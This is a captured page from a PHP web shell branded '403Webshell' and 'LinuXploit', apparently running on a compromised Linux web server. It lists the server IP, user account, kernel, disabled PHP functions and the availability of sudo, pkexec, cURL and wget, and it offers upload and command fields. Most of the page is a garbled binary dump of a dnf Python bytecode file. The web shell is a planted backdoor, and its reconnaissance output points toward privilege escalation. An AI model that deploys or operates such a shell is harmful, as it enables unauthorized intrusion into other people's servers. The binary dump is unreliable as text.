403Webshell
Server IP : 88.99.149.37  /  Your IP : 216.73.216.141
Web Server : nginx/1.31.2
System : Linux server-88-99-149-37 6.12.0-124.56.5.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Fri May 15 06:12:08 EDT 2026 x86_64
User : muralimurth ( 1015)
PHP Version : 8.4.23
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.12/site-packages/dnf/cli/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.12/site-packages/dnf/cli/__pycache__/utils.cpython-312.opt-1.pyc
�

�(f�����dZddlmZddlmZddlmZddlmZddlZ	ddl
Z
ddlZddlZejejd�Ze
j d�Zd	�Zd
�Zd�Zd�Zy)
z/Various utility functions, and a utility class.�)�absolute_import)�unicode_literals)�
format_number)�_N�
SC_CLK_TCK�dnfc�&�t|�tzS)z�Convert a number of jiffies to seconds. How many jiffies are in a second
    is system-dependent, e.g. 100 jiffies = 1 second is common.

    :param jiffies: a number of jiffies
    :return: the equivalent number of seconds
    )�int�_USER_HZ)�jiffiess �2/usr/lib/python3.12/site-packages/dnf/cli/utils.py�jiffies_to_secondsrs���w�<�(�"�"�c��|dk\rd|dz|dzdz|dzdz|dzfzS|dk\rd|dz|dzdz|dzfzSd|dz|dzfzS)aReturn a human-readable string representation of the length of
    a time interval given in seconds.

    :param seconds: the length of the time interval in seconds
    :return: a human-readable string representation of the length of
      the time interval
    i�Qz%d day(s) %d:%02d:%02di��<z%d:%02d:%02dz	%02d:%02d�)�secondss r
�seconds_to_ui_timer)s����,��'�7�|�+D�,3��,@�B�+F�,3�r�M�R�+?�+2�R�<�+9�9�	9��'����W�!5��2�
��7K�")�B�,�!1�1�	1��7�b�=�7�R�<�8�8�8rc���	t|�}tjjd|z�rAtjjd�r"tjjd|z�syi}t	d|z�5}|D]�}|ddk7r�|ddjdd�}t
|�d	kr�0tjj|dd
�|d<|dj�||dj�j�<��	ddd�d|vryd
|vryd}t	d�5}|D],}|jd�s�t|t
d�d�}nddd�|�yt	d|z�5}|j�j�}|t|d�z|d<td�td�td�td�td�d�j!|d	td��|d<ddd�|S#1swY��xYw#1swY��xYw#1swY|SxYw#t"t$f$r }t&j)d|�Yd}~yd}~wwxYw)z!Return info dict about a process.z/proc/%d/statusz
/proc/statz
/proc/%d/statN����
z:	��z kBr�vmrss�vmsizezbtime ��
start_time�Running�Sleeping�Uninterruptible�ZombiezTraced/Stopped)�R�S�D�Z�T�Unknown�statezFailed to get process info: %s)r
�os�path�exists�open�split�lenr�util�rtrim�strip�lower�
startswith�readrr�get�OSError�
ValueError�logger�error)	�pid�ps�status_file�line�data�	boot_time�	stat_file�ps_stat�es	         r
�get_process_inforD<s)��.��#�h�������0�3�6�7������|�,��������4�5��
��
�#�c�)�
*�k�#����8�t�#���C�R�y���u�a�0���t�9�q�=���(�(�.�.��a��%�8��Q��.2�1�g�m�m�o��4��7�=�=�?�(�(�*�+�$�+��"����2����	�
�,�
�9�!���?�?�8�,� #�D��X��r�$:� ;�I��"� �
���
�/�C�'�
(�I��n�n�&�,�,�.�G�(�+=�g�b�k�+J�J�B�|��!"�9��!"�:��!"�#4�!5�!"�8��!"�#3�!4�	�
!�S����Q�y�\�:�
�w�K�)��	�C+�
*�� �
��)��	���Z� �����5�q�9����s��A.H2�1H2�BH
�H2�H2�$
H2�1H�	H�#
H2�.H2�<BH%�	H2�
H�H2�H"�H2�%H/�*H2�/H2�2I!�I�I!c
�p�t|�}|s"td�}tj||�ytd�||dfz}tjd|�tjtd�t	t|d�dz�t	t|d	�dz��t
ttj��|d
z
�}tjtd�tjj|d
�|�tjtd�|d
�y)z0Output information about process holding a lock.z=Unable to find information about the locking process (PID %d)Nz$  The application with PID %d is: %s�namez%sz    Memory : %5s RSS (%5sB VSZ)rirrz    Started: %s - %s agoz    State  : %sr))rDrr9�criticalrr
r�timerr0�normalize_time)r;r<�msg�agos    r
�show_lock_ownerrLps���
�#�	�B�
��O�P������S�!��
�2�
3�s�B�v�J�6G�
G�C�
�O�O�D�#��
�O�O�A�7�8�!�#�b��k�"2�T�"9�:�!�#�b��l�"3�d�":�;�=��S�����-��<�0@�@�
A�C�
�O�O�A�0�1��H�H�+�+�B�|�,<�=�s�D�
�O�O�A�'�(�"�W�+�6�
r)�__doc__�
__future__rr�dnf.cli.formatr�dnf.i18nr�dnf.utilr�loggingr*rH�sysconf�
sysconf_namesr�	getLoggerr9rrrDrLrrr
�<module>rVsd��"6�&�'�(����	���2�:�:�b�&�&�|�4�5��	��	�	�5�	!��#�9�&1�hr

Youez - 2016 - github.com/yon3zu
LinuXploit